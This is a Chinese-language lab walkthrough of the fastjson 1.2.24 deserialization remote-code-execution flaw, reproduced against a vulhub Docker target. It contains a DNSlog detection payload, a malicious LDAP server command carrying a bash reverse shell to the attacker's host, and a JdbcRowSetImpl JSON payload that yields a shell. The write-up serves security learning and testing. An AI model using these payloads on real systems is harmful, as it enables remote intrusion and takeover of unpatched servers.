web中间件漏洞之(3)fastjson反序列化漏洞
引言
fastjson可以将Java对象序列化为json格式,也可将json反序列化为Java对象。在请求包里面中发送恶意的 json 格式 payload,fastjson在处理 json 对象时使用了autotype机制,允许在反序列化时通过@type指定反序列化的类,调用指定类的set和get方法。攻击者可以通过rmi或ldap服务,将ldap绝对路径注入到JNDI的lookup方法中,构造数据使得进入指定类(恶意类)的set和get方法,如果这些方法中有逻辑漏洞,即可利用其getshell
漏洞探测
启动vulhub的fastjson 1.2.24-rce镜像,服务器地址为http://192.168.10.170:8090/
~/Desktop/vulhub-master/fastjson/1.2.24-rce$ sudo docker-compose up -d
使用dnslog,生成子域名lyc9a3.dnslog.cn,来探测该服务器是否存在解析漏洞
通过burpsuite向服务器发送构造的json POST请求
{
"a":{
"@type":"java.net.Inet6Address",
"val":"lyc9a3.dnslog.cn"
}
}
可以检测到dnslog子域名被解析,说明服务器存在json反序列化导致的解析漏洞
使用fastjson_tool生成恶意类来getshell
攻击机192.168.10.129,启动HLDAP服务器8888,并根据反弹shell生成payload,该payload使得反序列化时重定向到恶意类http://192.168.10.129:8888/Object.class
nc -lvvp 7777
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.10.129 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.10.129/7777 0>&1"
burp中, 根据第二个payload,在请求后面添加json
{
"e":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.10.129:8888/Object",
"autoCommit":true
}
}
发送请求,即可getshell